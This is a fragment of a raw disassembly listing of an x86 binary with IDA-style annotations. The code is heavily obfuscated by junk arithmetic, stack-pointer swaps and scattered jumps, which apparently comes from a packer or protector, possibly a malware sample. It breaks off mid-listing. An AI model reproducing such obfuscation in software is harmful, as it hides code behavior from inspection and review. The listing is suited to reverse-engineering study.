FUNCTION CHUNK AT 005A1150 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A14E5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A1FA5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A3DC1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A4BB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A5375 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A53E3 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A55FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A6105 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A6783 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A690E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A6A31 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A6E0F SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005A7722 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8728 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A9866 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AB063 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AB6EC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AC397 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ACED3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AD1EB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AD68E SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005AD723 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AE9AF SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005AED81 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005AEFE8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005AFFD5 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005B00C1 SIZE 00000017 BYTES sub esp, 4 mov [esp+0], ecx push [esp+arg_0] pop ecx jmp loc_5A7722 sub_5A7BA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_5A7BB3: ; CODE XREF: sub_59FC02-4CD8j add eax, 5C895B45h add eax, ebx sub eax, 5C895B45h add eax, 4BBD1050h jmp loc_5A3068 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- loc_5A7BC9: ; CODE XREF: sdfs____:005AF44Aj push eax mov ah, 9Dh or ah, 8Eh add ah, 9Dh sub ch, ah jmp loc_5A3F41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A86D0 loc_5A7BD9: ; CODE XREF: sub_5A86D0+7j pop edi shr edi, 6 add edi, 38F8B606h mov ebp, edi pop edi jmp loc_5A220D ; END OF FUNCTION CHUNK FOR sub_5A86D0 ; =============== S U B R O U T I N E ======================================= sub_5A7BEB proc near ; DATA XREF: sdfs____:0059908Co ; FUNCTION CHUNK AT 005A3134 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005AE14D SIZE 00000013 BYTES lodsb xor al, bl push edx jmp loc_5A3134 sub_5A7BEB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_5A7BF4: ; CODE XREF: sub_5A7746-D07Cj pop ebp push ecx jmp loc_59CC5F ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A7BFB: ; CODE XREF: sub_59EE3E+6BACj mov ecx, esp push 5572h mov [esp+8+var_8], edx push edi mov edi, 4 mov edx, edi mov edi, [esp+0] add esp, 4 jmp loc_599CB9 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A7C1B: ; CODE XREF: sub_5B01F7-E6C4j sub edx, 59B37825h add edx, ebp jmp loc_5A5404 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7C28: ; CODE XREF: sub_5AA2D1-CFC3j ; sub_59EE3E:loc_5AA6C6j ... pop eax add bl, 57h sub bl, 0F1h add bl, al add bl, 0F1h jmp loc_59ACC3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A7C39: ; CODE XREF: sdfs____:0059B905j shl ebx, 4 add ebx, 4EF73647h jmp loc_599D39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7C47: ; CODE XREF: sub_5AA2D1-170Ej sub ebx, eax add ebx, 63395605h sub ebx, 764661A9h jmp loc_5A5DE8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A7C5A: ; CODE XREF: sub_59CBE1+4691j jb loc_5A05C5 jmp loc_5A1A86 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- pop ebp push edi mov edi, 78AB581Fh ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A7C6C: ; CODE XREF: sub_5992DA+4205j xchg eax, [esp+28h+var_2A+2] pop esp jmp loc_59CCA0 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7C75: ; CODE XREF: sub_5AA2D1-33FFj pop eax sub esi, 11574741h add esi, edi add esi, 11574741h push ebp mov ebp, 520240F7h shr ebp, 8 inc ebp add ebp, 57C26E0Dh push ecx mov ecx, 3CA277EDh add esi, ecx jmp loc_5A31AA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A7CA1: ; CODE XREF: sdfs____:005A46ADj mov [esp], eax mov eax, 6BD6505Eh sub ecx, eax jmp loc_5AC663 ; --------------------------------------------------------------------------- loc_5A7CB0: ; CODE XREF: sdfs____:loc_5AB038j push 0F12h mov [esp], ebx jmp loc_59D65E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE40A loc_5A7CBD: ; CODE XREF: sub_5AE40A-FA0Cj add ebp, edx jmp loc_5A6546 ; END OF FUNCTION CHUNK FOR sub_5AE40A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A7CC4: ; CODE XREF: sub_59D6B8+9BC0j mov [esp-14h+arg_10], eax push esp push [esp-10h+arg_C] mov eax, [esp-0Ch+arg_8] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-8+arg_4] pop esp add esp, 4 add eax, 4 add eax, 2 xchg eax, [esp-10h+arg_C] mov esp, [esp-10h+arg_C] div cl movzx cx, ah sub esp, 4 mov [esp-0Ch+arg_8], edx mov edx, esp push edi jmp sub_59A9E9 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- loc_5A7D05: ; CODE XREF: sdfs____:005AE2D3j mov edx, 6920051Dh xor edx, 9FE3991Bh add ebx, edx jmp loc_5AE303 ; --------------------------------------------------------------------------- loc_5A7D17: ; CODE XREF: sdfs____:005A9A65j push edi mov edi, ebx mov ebp, edi pop edi pop ebx and esi, ebp pop ebp push ebx mov ebx, 17C1599Eh add esi, ebx pop ebx not esi not esi jmp loc_5A6E44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7D33: ; CODE XREF: sub_5AA2D1-CAE6j or ch, 84h xor ch, 85h push eax sub esp, 4 mov [esp+4+var_4], ebx jmp loc_59E262 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A7D48: ; CODE XREF: sub_5AC803+3741j or ch, bl pop ebx jmp loc_5A8CAB ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A7D50: ; CODE XREF: sub_59A26C+8E3j push esi jmp loc_5AB7A7 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D5EA loc_5A7D56: ; CODE XREF: sub_59D5EA+962Aj xchg ebx, [esp+0Ch+var_C] pop esp pop esi push ebp mov ebp, 34232F9Fh sub ecx, 3441557Eh sub ecx, ebp add ecx, 3441557Eh pop ebp jmp loc_5AD476 ; END OF FUNCTION CHUNK FOR sub_59D5EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A7D75: ; CODE XREF: sub_5A8E92-9F01j ; sub_5A0FFF+ED5Bj mov dh, al mov bl, dh mov edx, [esp+6+var_8+2] jmp loc_5A0341 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A7D81: ; CODE XREF: sub_5A477C-50F6j mov edi, 10C05841h add eax, edi pop edi jmp loc_59F6CA ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- loc_5A7D8E: ; CODE XREF: sdfs____:005A677Ej sub ecx, edx pop edx jmp loc_5A88B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A7D96: ; CODE XREF: sub_5A9EBF-FD5Bj xor ebx, 30693E6Eh or ebx, 3DA75179h jl loc_5AF092 inc ebx jle loc_5A6626 or ch, 27h pop eax ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7DB3: ; CODE XREF: sub_5AA2D1:loc_5A37C9j sub ebx, 13F320D9h jmp loc_5A9089 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A7DBE: ; CODE XREF: sub_5992DA+AE61j pop ebp add esp, 4 dec edx jmp loc_5A324B ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A00E2 loc_5A7DCB: ; CODE XREF: sub_5A00E2+8E03j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+10h+var_10] pop esp mov [esp+0Ch+var_C], esi sub esp, 4 jmp loc_599EC4 ; END OF FUNCTION CHUNK FOR sub_5A00E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7DE4: ; CODE XREF: sub_5AA2D1+4946j mov esp, [esp-1Eh+arg_18+2] bts word ptr [esp-1Eh+arg_18+2], ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A7DF2: ; CODE XREF: sub_5B01F7-A8B8j mov [esp+1Eh+var_20+2], ebp push ebx mov ebx, 164512D8h dec ebx add ebx, 7578428Ch jle loc_5AAAEC jmp loc_5A65F8 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A7E0D: ; CODE XREF: sub_5A79BE-6AFFj push esi mov esi, 769D21EAh or esi, 31D2778Ch jmp loc_5A662B ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- loc_5A7E1E: ; CODE XREF: sdfs____:0059BAE0j mov [esp], esp push ebp push esi jmp loc_59C57E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A7E28: ; CODE XREF: sub_59D6B8-14EBj ; sub_5ABAD7+3j mov [esp+4+var_4], edx mov edx, esp push ecx mov ecx, 3B586AF8h add ecx, 71C91FC7h shr ecx, 1 inc ecx shr ecx, 2 jmp loc_5A8EA6 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A491A loc_5A7E44: ; CODE XREF: sub_5A491A+169Dj add ebx, esi jmp loc_59D313 ; END OF FUNCTION CHUNK FOR sub_5A491A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5A7E4B: ; CODE XREF: sub_5B03B3-1285Ej ; sub_5AD993-BFABj mov esp, [esp+0] shr ecx, 0Ah push ebx sub esp, 4 mov [esp+8+var_8], ecx push edx mov edx, 460F4968h mov ecx, edx mov edx, [esp+0Ch+var_C] add esp, 4 sub [esp+8+var_4], ecx pop ecx pop eax jmp loc_5A365A ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A7E77: ; CODE XREF: sub_5A2E41:loc_59BA9Dj dec ebx jp loc_5A5FBC and ebx, 5A1F59BBh jnz loc_59DD1D mov edi, ecx loc_5A7E8C: ; CODE XREF: sub_59F566-4CDBj add edx, ecx pop ecx jmp loc_5AC310 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7E94: ; CODE XREF: sub_5AA2D1-754j sub edx, 412256A1h jnz loc_5AC70A jmp loc_5A5A9C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- mov edx, [esp] mov esi, eax mov edi, ebx ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A7EAC: ; CODE XREF: sub_5A9D64+6079j inc ebx jmp loc_5AAA78 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A7EB2: ; CODE XREF: sub_59EE3E+CDC0j add ebp, edi add ebp, 14F3093Eh jmp loc_5A19FE ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B02C0 loc_5A7EBF: ; CODE XREF: sub_5B02C0+14j and dx, 7C33h shr dx, 4 push eax mov ax, 186h xor ax, 5FB3h jmp loc_5AAB75 ; END OF FUNCTION CHUNK FOR sub_5B02C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A7ED6: ; CODE XREF: sub_59C979+56CEj sub edi, 4 push edi push dword ptr [esp+6+var_2] pop edi pop [esp+6+var_6] pop esp mov [esp+0], edi mov edi, 72F90076h and edi, 48E937B9h jz sub_5A9A8F sub esp, 4 mov dword ptr [esp+2+var_2], eax jmp loc_5AE0DD ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7F02: ; CODE XREF: sub_5AA2D1-A304j mov edx, [esp+8+var_8] add esp, 4 add edi, esi pop esi add edi, 19DF559Fh std push edx jmp loc_59A57E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A7F18: ; CODE XREF: sub_5ADD33-C890j mov eax, [esp+8+var_8] add esp, 4 add edx, 4 push eax jmp loc_59E4BB ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A7F27: ; CODE XREF: sub_5992DA+9C3Bj dec esi not esi add esi, 0CD2AE232h add edi, esi pop esi sub esp, 4 mov [esp-8+arg_4], ebx mov ebx, 4 sub edi, ebx pop ebx xchg edi, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] jmp loc_5A2E13 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5A7F4C: ; CODE XREF: sdfs____:005A6900j mov eax, [esp] add esp, 4 push 5869h mov [esp], ebp mov ebp, 1681DFDh add eax, ebp jmp loc_5A0170 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5A7F69: ; CODE XREF: sub_5A0924-6DD3j push esi mov esi, 560A4668h sub esi, 14AE0A7Ch jmp loc_59A38C ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A7F7A: ; CODE XREF: sub_5992DA+1A66j mov ebp, edi pop edi add edx, ebp mov ebp, [esp-4+arg_0] add esp, 4 add edx, 4 xchg edx, [esp-8+arg_4] mov esp, [esp-8+arg_4] jmp loc_59D4EF ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5A7F99: ; CODE XREF: sdfs____:005ADC19j push dword ptr [esp] mov eax, [esp] add esp, 4 push 5393h mov [esp], ebp mov ebp, esp push edi mov edi, 5F2D231Ah shr edi, 4 jmp loc_59BE8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A7FBA: ; CODE XREF: sub_59C979+12B93j pop esi shr ecx, 7 push dword ptr [edi+1Ch] push 1107h mov [esp+6+var_6], ecx mov ecx, 27020411h sub dword ptr [esp+6+var_2], 145F1007h jmp loc_5A6C21 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A7FDB: ; CODE XREF: sub_5A580F+8D6Cj inc ebx dec ebx sub ebx, 1 shl ebx, 4 shr ebx, 2 add ebx, 50D4D34h sub esi, ebx jmp loc_5AB9DD ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A7FF6: ; CODE XREF: sub_5AA2D1+3E6Aj mov ebx, 6C2058FDh xor ebx, edx jmp loc_5A4B4C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A8002: ; CODE XREF: sub_59A26C+C2Aj mov [esp-4+arg_0], ebx push edx mov edx, 0FD75EFDh add edx, 0F028A107h mov ebx, edx pop edx mov eax, ebx pop ebx add ecx, 56CD1926h sub ecx, eax sub ecx, 56CD1926h pop eax push ecx push [esp-8+arg_8] pop ecx pop [esp-8+arg_4] mov esp, [esp-0Ch+arg_8] jmp loc_5A5C24 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3BFE loc_5A8037: ; CODE XREF: sub_5A3BFE-5983j add esp, 4 push ebp mov ebp, 117E6C2Ah xor ebx, ebp pop ebp inc ebx neg ebx and ebx, 640464E7h add ebx, 0FFFFFB9Fh jmp loc_5A3E06 ; END OF FUNCTION CHUNK FOR sub_5A3BFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5A805A: ; CODE XREF: sub_5A4D9D-B2D5j sub ebx, 6C2F59E5h add ebx, esi add ebx, 6C2F59E5h pop esi push edx mov edx, 4 sub ebx, edx pop edx sub esp, 4 mov [esp+4+var_4], ebx push dword ptr [esp+4] pop ebx jmp loc_59917A ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A8085: ; CODE XREF: sub_5A477C-558j sub edi, esi pop esi mov ebx, [esp+0] add esp, 4 push edx mov edx, 4 add edi, edx jmp loc_5A134B ; END OF FUNCTION CHUNK FOR sub_5A477C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A809B proc near ; DATA XREF: sdfs____:00598F08o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 005994F7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059CBE7 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0059FE9E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A01CF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A459F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A60BC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A65A5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A68D7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AC8BC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AD44C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005AF19A SIZE 00000009 BYTES mov ax, word ptr [esp-8+arg_0] push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 4 jmp loc_5A459F sub_5A809B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A80B3 proc near ; DATA XREF: sdfs____:00598F98o var_8 = dword ptr -8 push dword ptr [esp+0] pop ecx push eax push 4011h mov [esp+8+var_8], esp push ebp jmp loc_59E051 sub_5A80B3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5A80C6: ; CODE XREF: sub_5A63DC+700Fj mov ecx, 7B0C5E6Eh add ecx, 0C2680828h jmp loc_5A474E ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A80D6: ; CODE XREF: sub_5A12E6-5654j ; sub_5AA2D1-AC0Cj ... jo loc_5A01C3 push edx jmp loc_5A5E76 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A80E2: ; CODE XREF: sub_5A0AA2-7CFj xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] pop esp mov [esp+0], ebx mov ebx, esp jmp loc_5AB1E5 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A80F6: ; CODE XREF: sub_5992DA+FC73j pop esi xor ebp, edi mov edi, [esp-0Ch+arg_8] jmp loc_59C8E2 ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_5A8101 proc near ; DATA XREF: sdfs____:00599064o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A2C54 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005ABD7D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AD667 SIZE 0000000D BYTES mov ax, [esp+0] push 1872h mov [esp+4+var_4], edx jmp loc_5A2C54 sub_5A8101 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5AF2 loc_5A8112: ; CODE XREF: sub_5A5AF2-5262j add esp, 2 inc bl push eax jmp loc_5A395B ; END OF FUNCTION CHUNK FOR sub_5A5AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A811D: ; CODE XREF: sub_59D6B8+715Aj push 6948h mov [esp+18h+var_18], esp add [esp+18h+var_18], 4 pop ebp push ecx mov ecx, 11F169DBh not ecx shr ecx, 6 add ecx, 0FC47C5ACh add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp+14h+var_14] mov esp, [esp+14h+var_14] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A814F: ; CODE XREF: sub_5A0FFF-3B8Fj add ebp, eax add ebp, 55D650DDh pop eax jmp sub_599E58 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A815D: ; CODE XREF: sub_5992DA+DA00j shl esi, 1 sub esp, 4 mov [esp+24h+var_26+2], esi jmp loc_5A4DE3 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A816D: ; CODE XREF: sub_5A0FFF-37F8j xor ebp, 72D74617h add eax, 64413917h add eax, ebp sub eax, 64413917h jmp loc_5A0700 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A8184: ; CODE XREF: sub_59A479+A88Bj add ecx, 4FED7FDFh sub ecx, edi jmp loc_5AFE92 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A8191: ; CODE XREF: sub_5A6BBC+4B79j shr ebx, 1 push 0AE2h mov [esp+4+var_4], ecx mov ecx, 15DC3775h or ebx, ecx pop ecx push ecx push eax mov eax, 368401CAh and eax, 2BF00C22h jnb loc_59FE0B sub eax, 0AFF59EA6h mov ecx, eax jmp loc_5A754E ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- add bl, 0A4h ; =============== S U B R O U T I N E ======================================= sub_5A81C4 proc near ; CODE XREF: sub_5AF2D9-D5FBj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AFED SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059CAE9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059D967 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A011D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A363B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A3D78 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A4FF2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A9436 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005ACA1A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AF358 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AF629 SIZE 0000000E BYTES sub esp, 4 jmp loc_59AFED sub_5A81C4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A81CC: ; CODE XREF: sub_59A7E7+52DAj add esi, 2 xchg esi, [esp+0] mov esp, [esp+0] xor al, cl mov ecx, [esp+0] jmp loc_5997B1 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A81DF: ; CODE XREF: sub_5A5EFF-751Fj ; sub_5AC803-3CEFj ... not esi or esi, 3EB528Dh jg loc_59E217 add esi, 179EF81Ch mov eax, esi pop esi xor esi, eax pop eax loc_5A81F9: ; CODE XREF: sub_59993B+E34j push esp pop esi add esi, 4 push edx mov edx, 4 add esi, edx pop edx xor esi, [esp+1Ch+var_1C] xor [esp+1Ch+var_1C], esi jmp loc_5A99AD ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_5A8215 proc near ; CODE XREF: sub_59BA35+A71Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059A28C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059A2D5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059A774 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059C298 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059CE58 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059DBF7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059EF2B SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059F50A SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005A3468 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 005A7A80 SIZE 0000004C BYTES ; FUNCTION CHUNK AT 005A8501 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A8523 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9C15 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005AA8D1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005ACF10 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AEE86 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AFC14 SIZE 0000001A BYTES push ebx jmp loc_59CE58 sub_5A8215 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A821B: ; CODE XREF: sub_5A79BE-1387j shr esi, 3 jnz loc_5A25D4 xor esi, 77F4C63h push esi jmp sub_5992DA ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A8230: ; CODE XREF: sub_5AA2D1-4C0Dj ; sub_5A577C+680Cj pop ebx jmp loc_5A44ED ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A8236: ; CODE XREF: sub_5A118F+57A3j sub esi, 4 xchg esi, [esp+0] pop esp mov [esp-4+arg_0], edx mov edx, esp push ebx mov ebx, 4 add edx, ebx pop ebx sub edx, 4 xchg edx, [esp-4+arg_0] pop esp mov [esp-8+arg_4], edx jmp loc_59F07F ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EBF loc_5A825D: ; CODE XREF: sub_5A9EBF-E8Bj mov edx, edi pop edi add ecx, edx jmp loc_59AF2F ; END OF FUNCTION CHUNK FOR sub_5A9EBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB 